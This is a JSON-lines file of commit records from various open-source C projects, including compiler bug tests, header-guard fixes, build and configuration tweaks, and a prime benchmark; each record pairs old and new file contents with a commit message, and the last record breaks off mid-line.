{"commit":"3eb22eb7df20a7254a0b70512ca026a440152a86","old_file":"inline_dbg_lbl.c","new_file":"inline_dbg_lbl.c","old_contents":"","new_contents":"\/\/ ucc -g tim.c\n\n_Noreturn void abort()\n{\n\t__builtin_unreachable();\n}\n\nvoid realloc()\n{\n\tint local = 5;\n\tabort();\n}\n","subject":"Debug label inline function bug","message":"Debug label inline function bug\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"dbf67e0819451323569fbdfc4280ad4cb2310d39","old_file":"bugs\/cpp\/strip_comment.c","new_file":"bugs\/cpp\/strip_comment.c","old_contents":"#define typename(x) _Generic((x),                                                 \\\n        _Bool: \"_BoolÓ,                  unsigned char: \"unsigned charÓ,          \\\n         char: \"char\",                     signed char: \"signed char\",            \\\n       void *: \"pointer to voidÓ,                int *: \"pointer to int\",         \\\n      default: \"other\")\n","new_contents":"#define typename(x) _Generic((x),                                                 \\\n        _Bool: \"_Bool\",                  unsigned char: \"unsigned char\",          \\\n         char: \"char\",                     signed char: \"signed char\",            \\\n       void *: \"pointer to void\",                int *: \"pointer to int\",         \\\n      default: \"other\")\n","subject":"Remove unicode from cpp bug example","message":"Remove unicode from cpp bug example\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"8e237cddafb82de65bdca14de6a4b05d3f51b2ea","old_file":"goontools.c","new_file":"goontools.c","old_contents":"#include \"goontools.h\"\n\nvoid usage(char* prog)\n{\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"Usage: %s <subcommand> <subcommand arguments>\\n\", prog);\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"subcommands:\\n\");\n    fprintf(stderr, \"    index    index file\\n\");\n    fprintf(stderr, \"    sort     sort file\\n\");\n    fprintf(stderr, \"    view     view\/slice file\\n\");\n    fprintf(stderr, \"\\n\");\n}\n\nint dispatch(int argc, char *argv[])\n{\n    char *subcommands[] = {\n        \"index\",\n        \"view\",\n        \"sort\",\n        NULL \/\/ sentinel\n    };\n    Subcommand dispatch[] = {\n        &goonindex,\n        &goonview,\n        &goonsort\n    };\n    char **s;\n\n    for (s = subcommands; *s != NULL; s += 1) {\n        if (strcmp(argv[1], *s) == 0) {\n            break;\n        }\n    }\n\n    if (*s == NULL) {\n        usage(argv[0]);\n        return -1;\n    }\n\n    return dispatch[s-subcommands](argc-2, argv+2);\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc == 1) {\n        usage(argv[0]);\n        return EXIT_FAILURE;\n    }\n\n    if (dispatch(argc, argv) != 0) {\n        return EXIT_FAILURE;\n    }\n\n    return EXIT_SUCCESS;\n}\n","new_contents":"#include \"goontools.h\"\n\nvoid usage(char* prog)\n{\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"Usage: %s <subcommand> <subcommand arguments>\\n\", prog);\n    fprintf(stderr, \"\\n\");\n    fprintf(stderr, \"subcommands:\\n\");\n    fprintf(stderr, \"    index    index file\\n\");\n    fprintf(stderr, \"    sort     sort file\\n\");\n    fprintf(stderr, \"    view     view\/slice file\\n\");\n    fprintf(stderr, \"\\n\");\n}\n\nint dispatch(int argc, char *argv[])\n{\n    char *subcommands[] = {\n        \"index\",\n        \"view\",\n        \"sort\",\n        NULL \/\/ sentinel\n    };\n    Subcommand dispatch[] = {\n        &goonindex,\n        &goonview,\n        &goonsort\n    };\n    char **s;\n\n    for (s = subcommands; *s != NULL; s += 1) {\n        if (strcmp(argv[1], *s) == 0) {\n            break;\n        }\n    }\n\n    if (*s == NULL) {\n        usage(argv[0]);\n        return -1;\n    }\n\n    return dispatch[s-subcommands](argc-1, argv+1);\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc == 1) {\n        usage(argv[0]);\n        return EXIT_FAILURE;\n    }\n\n    if (dispatch(argc, argv) != 0) {\n        return EXIT_FAILURE;\n    }\n\n    return EXIT_SUCCESS;\n}\n","subject":"Make subcommands' argc\/argv compatible with getopt","message":"Make subcommands' argc\/argv compatible with getopt\n","lang":"C","license":"mit","repos":"mhyfritz\/goontools,mhyfritz\/goontools,mhyfritz\/goontools"}
{"commit":"d1940709771ccf2835a019fc095880e3192eae93","old_file":"inc\/time_hao.h","new_file":"inc\/time_hao.h","old_contents":"#ifndef TIME_HAO\n#define TIME_HAO\n\n#include <time.h>\n\nclass Timer_hao\n{\n   public:\n    double seconds;\n    int    timing_flag;\n    time_t timerinit,timerend;\n    Timer_hao();\n    Timer_hao(double);\n    Timer_hao(const Timer_hao& );\n    ~Timer_hao();\n   \n    Timer_hao& operator  = (const Timer_hao&);\n   \n    void init();\n    void end();\n    void print_init() const;\n    void print_end() const;\n    void print_accumulation() const;\n};\n\nstruct tm second_to_tm(double);\n#endif\n\n","new_contents":"#ifndef TIME_HAO_H\n#define TIME_HAO_H\n\n#include <time.h>\n\nclass Timer_hao\n{\n   public:\n    double seconds;\n    int    timing_flag;\n    time_t timerinit,timerend;\n    Timer_hao();\n    Timer_hao(double);\n    Timer_hao(const Timer_hao& );\n    ~Timer_hao();\n   \n    Timer_hao& operator  = (const Timer_hao&);\n   \n    void init();\n    void end();\n    void print_init() const;\n    void print_end() const;\n    void print_accumulation() const;\n};\n\nstruct tm second_to_tm(double);\n#endif\n\n","subject":"Set the header protection to end with _H.","message":"Set the header protection to end with _H.\n","lang":"C","license":"mit","repos":"hshi\/time_lib_hao"}
{"commit":"fa64def4cb805afb0cc8d966dab534e9137f3c66","old_file":"src\/Settings.h","new_file":"src\/Settings.h","old_contents":"\/\/ This program is free software licenced under MIT Licence. You can\n\/\/ find a copy of this licence in LICENCE.txt in the top directory of\n\/\/ source code.\n\/\/\n\n\n#ifndef SETTINGS_H_INCLUDED\n#define SETTINGS_H_INCLUDED\n\n#include <vector>\n#include <tuple>\n\n\/**\n * This file contains gereral configuration and thing whoch should be in the\n * global scope\n *\/\n\nusing AdjencyList = std::vector<std::vector<int>>;\nusing Placements = std::vector<std::pair<int, int>>;\nusing Movements = std::vector<std::tuple<int, int, int>>;\n\n#define NEUTRAL_ARMIES 2\n#define WASTELAND_ARMIES 10\n\nenum class Player {\n    ME,\n    ENEMY,\n    NEUTRAL\n};\n\nenum class Request {\n    NONE,\n    PICK_STARTING_REGION,\n    PLACE_ARMIES,\n    ATTACK_TRANSFER\n};\n\n#endif \/\/ MAIN_H_INCLUDED\n","new_contents":"\/\/ This program is free software licenced under MIT Licence. You can\n\/\/ find a copy of this licence in LICENCE.txt in the top directory of\n\/\/ source code.\n\/\/\n\n\n#ifndef SETTINGS_H_INCLUDED\n#define SETTINGS_H_INCLUDED\n\n#include <vector>\n#include <tuple>\n\n\/**\n * This file contains gereral configuration and thing whoch should be in the\n * global scope\n *\/\n\nusing AdjencyList = std::vector<std::vector<int>>;\nusing Placements = std::vector<std::pair<int, int>>;\nusing Movements = std::vector<std::tuple<int, int, int>>;\n\n#define NEUTRAL_ARMIES 2\n#define WASTELAND_ARMIES 6\n\nenum class Player {\n    ME,\n    ENEMY,\n    NEUTRAL\n};\n\nenum class Request {\n    NONE,\n    PICK_STARTING_REGION,\n    PLACE_ARMIES,\n    ATTACK_TRANSFER\n};\n\n#endif \/\/ MAIN_H_INCLUDED\n","subject":"Update number of armies on wastelands","message":"Update number of armies on wastelands\n","lang":"C","license":"mit","repos":"calincru\/Warlight-AI-Challenge-2-Bot,calincru\/Warlight-AI-Challenge-2-Bot"}
{"commit":"194e314afe721d748735114c68b9a723a8f74b05","old_file":"Riot\/SupportingFiles\/Riot-Bridging-Header.h","new_file":"Riot\/SupportingFiles\/Riot-Bridging-Header.h","old_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n@import MatrixSDK;\n@import MatrixKit;\n\n#import \"WebViewViewController.h\"\n#import \"RiotNavigationController.h\"\n#import \"ThemeService.h\"\n#import \"TableViewCellWithCheckBoxAndLabel.h\"\n#import \"RecentsDataSource.h\"\n#import \"AvatarGenerator.h\"\n#import \"EncryptionInfoView.h\"\n#import \"EventFormatter.h\"\n#import \"MediaPickerViewController.h\"\n#import \"AppDelegate.h\"\n","new_contents":"\/\/\n\/\/  Use this file to import your target's public headers that you would like to expose to Swift.\n\/\/\n\n@import MatrixSDK;\n@import MatrixKit;\n\n#import \"WebViewViewController.h\"\n#import \"RiotNavigationController.h\"\n#import \"ThemeService.h\"\n#import \"TableViewCellWithCheckBoxAndLabel.h\"\n#import \"RecentsDataSource.h\"\n#import \"AvatarGenerator.h\"\n#import \"EncryptionInfoView.h\"\n#import \"EventFormatter.h\"\n#import \"MediaPickerViewController.h\"\n#import \"AppDelegate.h\"\n#import \"RoomBubbleCellData.h\"\n#import \"MXKRoomBubbleTableViewCell+Riot.h\"\n","subject":"Add RoomBubbleCellData.h and MXKRoomBubbleTableViewCell+Riot.h to Objective-C bridging header.","message":"Add RoomBubbleCellData.h and MXKRoomBubbleTableViewCell+Riot.h to Objective-C bridging header.\n","lang":"C","license":"apache-2.0","repos":"vector-im\/riot-ios,vector-im\/riot-ios,vector-im\/riot-ios,vector-im\/riot-ios,vector-im\/riot-ios,vector-im\/vector-ios,vector-im\/vector-ios,vector-im\/riot-ios,vector-im\/vector-ios"}
{"commit":"2af33bb34a78b1ecd91cc9f9d92351e7a762530b","old_file":"src\/cilkplus.h","new_file":"src\/cilkplus.h","old_contents":"#ifndef CILKPLUS_H\n#define CILKPLUS_H\n\n#include <cilk\/cilk.h>\n\n#define fibril\n#define fibril_t __attribute__((unused)) int\n#define fibril_init(fp)\n#define fibril_join(fp) cilk_sync\n\n#define fibril_fork_nrt(fp, fn, ag)     cilk_spawn fn ag\n#define fibril_fork_wrt(fp, rt, fn, ag) rt = cilk_spawn fn ag\n\n#define fibril_rt_init(n)\n#define fibril_rt_exit()\n#define fibril_rt_nprocs(n) \\\n  (n > 0 ? __cilkrts_set_param(\"nworkers\", #n) : __cilkrts_get_nworkers())\n\n#endif \/* end of include guard: CILKPLUS_H *\/\n","new_contents":"#ifndef CILKPLUS_H\n#define CILKPLUS_H\n\n#include <cilk\/cilk.h>\n\n#define fibril\n#define fibril_t __attribute__((unused)) int\n#define fibril_init(fp)\n#define fibril_join(fp) cilk_sync\n\n#define fibril_fork_nrt(fp, fn, ag)     cilk_spawn fn ag\n#define fibril_fork_wrt(fp, rt, fn, ag) rt = cilk_spawn fn ag\n\n#define fibril_rt_init(n) (__cilkrts_set_param(\"stack size\", \"0x800000\"))\n#define fibril_rt_exit()\n#define fibril_rt_nprocs(n) \\\n  (n > 0 ? __cilkrts_set_param(\"nworkers\", #n) : __cilkrts_get_nworkers())\n\n#endif \/* end of include guard: CILKPLUS_H *\/\n","subject":"Use 8MB as the default stack size in CilkPlus.","message":"Use 8MB as the default stack size in CilkPlus.\n","lang":"C","license":"mit","repos":"chaoran\/fibril,chaoran\/fibril,chaoran\/fibril"}
{"commit":"80dadf74982bc78acb1fedd5e9e65f754d6bbee8","old_file":"native\/spinner_with_stacks\/program.c","new_file":"native\/spinner_with_stacks\/program.c","old_contents":"#include <stdio.h>\n\nvoid SpinYetAgain()\n{\n    volatile unsigned int count = 0;\n    for(int i=0; i<1000; i++)\n    {\n        count++;\n    }\n}\n\nvoid SpinSomeMore()\n{\n    volatile unsigned int count = 0;\n    for(int i=0; i<1000; i++)\n    {\n        count++;\n    }\n\n    SpinYetAgain();\n}\n\nvoid Spin()\n{\n    volatile unsigned int count = 0;\n    for(int i=0; i<1000; i++)\n    {\n        count++;\n    }\n\n    SpinSomeMore();\n}\n\nint main(int argc, char* argv[])\n{\n    while(1)\n    {\n        Spin();\n    }\n}\n","new_contents":"#include <stdio.h>\n\nvoid SpinYetAgain()\n{\n    volatile unsigned int count = 0;\n    int i;\n    for(i=0; i<1000; i++)\n    {\n        count++;\n    }\n}\n\nvoid SpinSomeMore()\n{\n    volatile unsigned int count = 0;\n    int i;\n    for(i=0; i<1000; i++)\n    {\n        count++;\n    }\n\n    SpinYetAgain();\n}\n\nvoid Spin()\n{\n    volatile unsigned int count = 0;\n    int i;\n    for(i=0; i<1000; i++)\n    {\n        count++;\n    }\n\n    SpinSomeMore();\n}\n\nint main(int argc, char* argv[])\n{\n    while(1)\n    {\n        Spin();\n    }\n}\n","subject":"Fix C declaration errors on ARM.","message":"Fix C declaration errors on ARM.\n","lang":"C","license":"mit","repos":"brianrob\/coretests,brianrob\/coretests"}
{"commit":"cee852ab5abc167b1996043f2398e47902ca7068","old_file":"project_config\/lmic_project_config.h","new_file":"project_config\/lmic_project_config.h","old_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n\/\/#define CFG_us915 1\n\/\/#define CFG_au921 1\n#define CFG_as923 1\n#define LMIC_COUNTRY_CODE   LMIC_COUNTRY_CODE_JP\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n","new_contents":"\/\/ project-specific definitions for otaa sensor\n\/\/#define CFG_eu868 1\n\/\/#define CFG_us915 1\n\/\/#define CFG_au921 1\n#define CFG_as923 1\n#define LMIC_COUNTRY_CODE   LMIC_COUNTRY_CODE_JP\n\/\/#define CFG_in866 1\n#define CFG_sx1276_radio 1\n\/\/#define LMIC_USE_INTERRUPTS\n#define LMIC_DEBUG_LEVEL 2\n#define LMIC_DEBUG_PRINTF_FN lmic_printf\n","subject":"Set debug level to 2 and use a suitable printf function","message":"Set debug level to 2 and use a suitable printf function\n","lang":"C","license":"mit","repos":"mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic,mcci-catena\/arduino-lmic"}
{"commit":"3efdee2c137bfa5a8b937fea6616fd3c57eede6a","old_file":"src\/kvazaar_internal.h","new_file":"src\/kvazaar_internal.h","old_contents":"#ifndef KVAZAAR_INTERNAL_H_\n#define KVAZAAR_INTERNAL_H_\n\/*****************************************************************************\n* This file is part of Kvazaar HEVC encoder.\n*\n* Copyright (C) 2013-2015 Tampere University of Technology and others (see\n* COPYING file).\n*\n* Kvazaar is free software: you can redistribute it and\/or modify it under\n* the terms of the GNU Lesser General Public License as published by the\n* Free Software Foundation; either version 2.1 of the License, or (at your\n* option) any later version.\n*\n* Kvazaar is distributed in the hope that it will be useful, but WITHOUT ANY\n* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n* FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n* more details.\n*\n* You should have received a copy of the GNU General Public License along\n* with Kvazaar.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n****************************************************************************\/\n\n#include \"kvazaar.h\"\n\n\/\/ Forward declarations.\ntypedef struct encoder_state_t encoder_state_t;\ntypedef struct encoder_control_t encoder_control_t;\n\ntypedef struct kvz_encoder {\n  encoder_control_t* control;\n  encoder_state_t* states;\n  unsigned num_encoder_states;\n  unsigned cur_state_num;\n  unsigned frames_started;\n  unsigned frames_done;\n\n  size_t bitstream_length;\n} kvz_encoder;\n\n#endif \/\/ KVAZAAR_INTERNAL_H_\n","new_contents":"#ifndef KVAZAAR_INTERNAL_H_\n#define KVAZAAR_INTERNAL_H_\n\/*****************************************************************************\n* This file is part of Kvazaar HEVC encoder.\n*\n* Copyright (C) 2013-2015 Tampere University of Technology and others (see\n* COPYING file).\n*\n* Kvazaar is free software: you can redistribute it and\/or modify it under\n* the terms of the GNU Lesser General Public License as published by the\n* Free Software Foundation; either version 2.1 of the License, or (at your\n* option) any later version.\n*\n* Kvazaar is distributed in the hope that it will be useful, but WITHOUT ANY\n* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n* FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License for\n* more details.\n*\n* You should have received a copy of the GNU General Public License along\n* with Kvazaar.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n****************************************************************************\/\n\n#include \"kvazaar.h\"\n\n\/\/ Forward declarations.\nstruct encoder_state_t;\nstruct encoder_control_t;\n\nstruct kvz_encoder {\n  struct encoder_control_t* control;\n  struct encoder_state_t* states;\n  unsigned num_encoder_states;\n  unsigned cur_state_num;\n  unsigned frames_started;\n  unsigned frames_done;\n\n  size_t bitstream_length;\n};\n\n#endif \/\/ KVAZAAR_INTERNAL_H_\n","subject":"Fix compilation warnings when using clang.","message":"Fix compilation warnings when using clang.\n\nRemoves typedef redefinitions in kvazaar_internal.h.\n","lang":"C","license":"bsd-3-clause","repos":"lu-zero\/kvazaar,ultravideo\/kvazaar,ultravideo\/kvazaar,lu-zero\/kvazaar,lu-zero\/kvazaar,ultravideo\/kvazaar,ultravideo\/kvazaar,ultravideo\/kvazaar,lu-zero\/kvazaar"}
{"commit":"a5bc4fdc171021daeb92d5d4a6fcf45ed3cad3e6","old_file":"Amethyst\/AMShortcutsPreferencesViewController.h","new_file":"Amethyst\/AMShortcutsPreferencesViewController.h","old_contents":"\/\/\n\/\/  AMShortcutsPreferencesViewController.h\n\/\/  Amethyst\n\/\/\n\/\/  Created by Ian Ynda-Hummel on 4\/26\/14.\n\/\/  Copyright (c) 2014 Ian Ynda-Hummel. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n#import <MASPreferences\/MASPreferencesViewController.h>\n\n@interface AMShortcutsPreferencesViewController : NSViewController\n\n@end\n","new_contents":"\/\/\n\/\/  AMShortcutsPreferencesViewController.h\n\/\/  Amethyst\n\/\/\n\/\/  Created by Ian Ynda-Hummel on 4\/26\/14.\n\/\/  Copyright (c) 2014 Ian Ynda-Hummel. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface AMShortcutsPreferencesViewController : NSViewController\n\n@end\n","subject":"Remove import from previously-removed MASPreferences","message":"Remove import from previously-removed MASPreferences\n","lang":"C","license":"mit","repos":"ianyh\/Amethyst,ianyh\/Amethyst,ianyh\/Amethyst,ianyh\/Amethyst,ianyh\/Amethyst"}
{"commit":"1c1fe4b476e004017fdfc633ab60b17146f1db80","old_file":"stack.h","new_file":"stack.h","old_contents":"#include <stdlib.h>\n#ifndef __STACK_H__\n#define __STACK_H__\nstruct Stack;\ntypedef struct Stack Stack;\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __STACK_H__\n#define __STACK_H__\nstruct Stack;\ntypedef struct Stack Stack;\n\nvoid Push(Stack s, void* e);\nvoid* Pop(Stack s);\nint Stack_Empty(Stack s);\n#endif","subject":"Add basic operation function declaration","message":"Add basic operation function declaration\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"0fee9081555e6b8a104aa857a29df14712c5fd43","old_file":"ext\/opengl\/gl-ext-3dfx.c","new_file":"ext\/opengl\/gl-ext-3dfx.c","old_contents":"\/*\n * Copyright (C) 2007 Jan Dvorak <jan.dvorak@kraxnet.cz>\n *\n * This program is distributed under the terms of the MIT license.\n * See the included MIT-LICENSE file for the terms of this license.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include \"common.h\"\n\n\/* OpenGL 3DFX extensions *\/\n\n\/* #208 - GL_3DFX_tbuffer *\/\nGL_FUNC_LOAD_1(TbufferMask3DFX,GLvoid, GLuint, \"GL_3DFX_tbuffer\")\n\nvoid gl_init_functions_ext_3dfx(VALUE module)\n{\n\/* #208 - GL_3DFX_tbuffer *\/\n\trb_define_module_function(module, \"glTbufferMask3DFX\", gl_TbufferMask3DFX, 1);\n}\n","new_contents":"\/*\n * Copyright (C) 2007 Jan Dvorak <jan.dvorak@kraxnet.cz>\n *\n * This program is distributed under the terms of the MIT license.\n * See the included MIT-LICENSE file for the terms of this license.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include \"common.h\"\n\n\/* OpenGL 3DFX extensions *\/\n\n\/* #208 - GL_3DFX_tbuffer *\/\nGL_FUNC_LOAD_1(TbufferMask3DFX,GLvoid, GLuint, \"GL_3DFX_tbuffer\")\n\nvoid gl_init_functions_ext_3dfx(VALUE klass)\n{\n\/* #208 - GL_3DFX_tbuffer *\/\n\trb_define_method(klass, \"glTbufferMask3DFX\", gl_TbufferMask3DFX, 1);\n}\n","subject":"Change remaining glTbufferMask3DFX to an instance method.","message":"Change remaining glTbufferMask3DFX to an instance method.\n","lang":"C","license":"mit","repos":"larskanis\/opengl,larskanis\/opengl"}
{"commit":"815d5c9e041319cbd9660aca9097bfa9c7c257eb","old_file":"prime.c","new_file":"prime.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n\nint isPrime(unsigned long x)\n{\n    if (sqrt(x) - (unsigned long)sqrt(x) == 0)\n        return 0;\n    for (unsigned long i = 2; i < ceil(sqrt(x)); i++)\n        if (x % i == 0)\n            return 0;\n    return 1;\n}\n\nint main( int argc, char** argv)\n{\n    unsigned long max = atol(argv[1]);\n    unsigned long *a = malloc(sizeof(unsigned long) * max);\n    unsigned long x = 2;\n    for (unsigned long i = 0; i < max; x++)\n        if (isPrime(x))\n            a[i++] = x;\n    for (unsigned long i = 0; i < max; i++)\n        printf(\"%lu\\n\", (unsigned long)a[i]);\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <math.h>\n\nint isPrime(unsigned int x)\n{\n    if (sqrt(x) - (unsigned int)sqrt(x) == 0)\n        return 0;\n    for (unsigned int i = 2; i < ceil(sqrt(x)); i++)\n        if (x % i == 0)\n            return 0;\n    return 1;\n}\n\nint main( int argc, char** argv)\n{\n    unsigned int max = atol(argv[1]);\n    unsigned int *a = malloc(sizeof(unsigned int) * max);\n    unsigned int x = 2;\n    for (unsigned int i = 0; i < max; x++)\n        if (isPrime(x))\n            a[i++] = x;\n    for (unsigned int i = 0; i < max; i++)\n        printf(\"%u\\n\", (unsigned int)a[i]);\n    return 0;\n}\n","subject":"Replace long with int in the C version to improve performance.","message":"Replace long with int in the C version to improve performance.\n","lang":"C","license":"bsd-3-clause","repos":"noamknispel\/ThePrimeBenchMark,noamknispel\/ThePrimeBenchMark,noamknispel\/ThePrimeBenchMark,noamknispel\/ThePrimeBenchMark,noamknispel\/ThePrimeBenchMark"}
{"commit":"47452ae7c92e4fb03416e1a870a0d586d761f5fa","old_file":"Utilities\/kwsys\/testDynload.c","new_file":"Utilities\/kwsys\/testDynload.c","old_contents":"#ifdef _WIN32\n#define DL_EXPORT __declspec( dllexport )\n#else\n#define DL_EXPORT\n#endif\n\nDL_EXPORT int TestDynamicLoaderData;\n\nDL_EXPORT void TestDynamicLoaderFunction()\n{\n}\n","new_contents":"#ifdef _WIN32\n#define DL_EXPORT __declspec( dllexport )\n#else\n#define DL_EXPORT\n#endif\n\nDL_EXPORT int TestDynamicLoaderData = 0;\n\nDL_EXPORT void TestDynamicLoaderFunction()\n{\n}\n","subject":"Fix compilation on MacOSX (common symbols not allowed with MH_DYLIB output format)","message":"COMP: Fix compilation on MacOSX (common symbols not allowed with MH_DYLIB output format)\n","lang":"C","license":"apache-2.0","repos":"eile\/ITK,fbudin69500\/ITK,wkjeong\/ITK,fuentesdt\/InsightToolkit-dev,fedral\/ITK,stnava\/ITK,Kitware\/ITK,atsnyder\/ITK,CapeDrew\/DITK,blowekamp\/ITK,InsightSoftwareConsortium\/ITK,itkvideo\/ITK,eile\/ITK,stnava\/ITK,LucasGandel\/ITK,fedral\/ITK,Kitware\/ITK,stnava\/ITK,itkvideo\/ITK,InsightSoftwareConsortium\/ITK,daviddoria\/itkHoughTransform,jmerkow\/ITK,rhgong\/itk-with-dom,LucHermitte\/ITK,biotrump\/ITK,biotrump\/ITK,fedral\/ITK,BlueBrain\/ITK,hjmjohnson\/ITK,vfonov\/ITK,hendradarwin\/ITK,BlueBrain\/ITK,zachary-williamson\/ITK,wkjeong\/ITK,malaterre\/ITK,CapeDrew\/DCMTK-ITK,wkjeong\/ITK,atsnyder\/ITK,daviddoria\/itkHoughTransform,daviddoria\/itkHoughTransform,InsightSoftwareConsortium\/ITK,CapeDrew\/DCMTK-ITK,heimdali\/ITK,hendradarwin\/ITK,eile\/ITK,LucHermitte\/ITK,hjmjohnson\/ITK,itkvideo\/ITK,CapeDrew\/DITK,heimdali\/ITK,BRAINSia\/ITK,fuentesdt\/InsightToolkit-dev,richardbeare\/ITK,ajjl\/ITK,stnava\/ITK,spinicist\/ITK,jmerkow\/ITK,heimdali\/ITK,richardbeare\/ITK,jcfr\/ITK,heimdali\/ITK,cpatrick\/ITK-RemoteIO,CapeDrew\/DITK,hendradarwin\/ITK,jmerkow\/ITK,InsightSoftwareConsortium\/ITK,jmerkow\/ITK,rhgong\/itk-with-dom,malaterre\/ITK,richardbeare\/ITK,hinerm\/ITK,zachary-williamson\/ITK,stnava\/ITK,fuentesdt\/InsightToolkit-dev,spinicist\/ITK,PlutoniumHeart\/ITK,cpatrick\/ITK-RemoteIO,BlueBrain\/ITK,LucasGandel\/ITK,hjmjohnson\/ITK,paulnovo\/ITK,LucasGandel\/ITK,itkvideo\/ITK,PlutoniumHeart\/ITK,msmolens\/ITK,vfonov\/ITK,vfonov\/ITK,zachary-williamson\/ITK,hendradarwin\/ITK,LucasGandel\/ITK,wkjeong\/ITK,fbudin69500\/ITK,GEHC-Surgery\/ITK,jcfr\/ITK,thewtex\/ITK,rhgong\/itk-with-dom,spinicist\/ITK,fbudin69500\/ITK,fedral\/ITK,LucasGandel\/ITK,daviddoria\/itkHoughTransform,paulnovo\/ITK,zachary-williamson\/ITK,itkvideo\/ITK,BRAINSia\/ITK,spinicist\/ITK,blowekamp\/ITK,Kitware\/ITK,LucasGandel\/ITK,eile\/ITK,CapeDrew\/DITK,malaterre\/ITK,richardbeare\/ITK,msmolens\/ITK,Kitware\/ITK,spinicist\/ITK,InsightSoftwareConsortium\/ITK,CapeDrew\/DITK,fbudin69500\/ITK,CapeDrew\/DCMTK-ITK,fuentesdt\/InsightToolkit-dev,cpatrick\/ITK-RemoteIO,paulnovo\/ITK,biotrump\/ITK,ajjl\/ITK,vfonov\/ITK,msmolens\/ITK,PlutoniumHeart\/ITK,fbudin69500\/ITK,CapeDrew\/DCMTK-ITK,malaterre\/ITK,zachary-williamson\/ITK,wkjeong\/ITK,malaterre\/ITK,stnava\/ITK,LucasGandel\/ITK,BlueBrain\/ITK,eile\/ITK,BlueBrain\/ITK,hinerm\/ITK,paulnovo\/ITK,jmerkow\/ITK,ajjl\/ITK,CapeDrew\/DCMTK-ITK,rhgong\/itk-with-dom,Kitware\/ITK,BRAINSia\/ITK,fedral\/ITK,atsnyder\/ITK,spinicist\/ITK,thewtex\/ITK,ajjl\/ITK,stnava\/ITK,paulnovo\/ITK,jmerkow\/ITK,biotrump\/ITK,Kitware\/ITK,blowekamp\/ITK,wkjeong\/ITK,eile\/ITK,hendradarwin\/ITK,blowekamp\/ITK,vfonov\/ITK,malaterre\/ITK,fuentesdt\/InsightToolkit-dev,LucasGandel\/ITK,heimdali\/ITK,LucHermitte\/ITK,itkvideo\/ITK,heimdali\/ITK,atsnyder\/ITK,BRAINSia\/ITK,rhgong\/itk-with-dom,rhgong\/itk-with-dom,CapeDrew\/DCMTK-ITK,spinicist\/ITK,daviddoria\/itkHoughTransform,hendradarwin\/ITK,hendradarwin\/ITK,GEHC-Surgery\/ITK,fuentesdt\/InsightToolkit-dev,hinerm\/ITK,malaterre\/ITK,atsnyder\/ITK,jmerkow\/ITK,paulnovo\/ITK,blowekamp\/ITK,daviddoria\/itkHoughTransform,daviddoria\/itkHoughTransform,BlueBrain\/ITK,eile\/ITK,GEHC-Surgery\/ITK,jcfr\/ITK,zachary-williamson\/ITK,hjmjohnson\/ITK,hinerm\/ITK,fbudin69500\/ITK,zachary-williamson\/ITK,stnava\/ITK,heimdali\/ITK,biotrump\/ITK,InsightSoftwareConsortium\/ITK,vfonov\/ITK,richardbeare\/ITK,cpatrick\/ITK-RemoteIO,itkvideo\/ITK,fuentesdt\/InsightToolkit-dev,malaterre\/ITK,BlueBrain\/ITK,jcfr\/ITK,richardbeare\/ITK,jcfr\/ITK,blowekamp\/ITK,vfonov\/ITK,GEHC-Surgery\/ITK,Kitware\/ITK,vfonov\/ITK,zachary-williamson\/ITK,stnava\/ITK,InsightSoftwareConsortium\/ITK,atsnyder\/ITK,jcfr\/ITK,PlutoniumHeart\/ITK,hinerm\/ITK,atsnyder\/ITK,cpatrick\/ITK-RemoteIO,CapeDrew\/DITK,thewtex\/ITK,spinicist\/ITK,daviddoria\/itkHoughTransform,malaterre\/ITK,hjmjohnson\/ITK,fbudin69500\/ITK,msmolens\/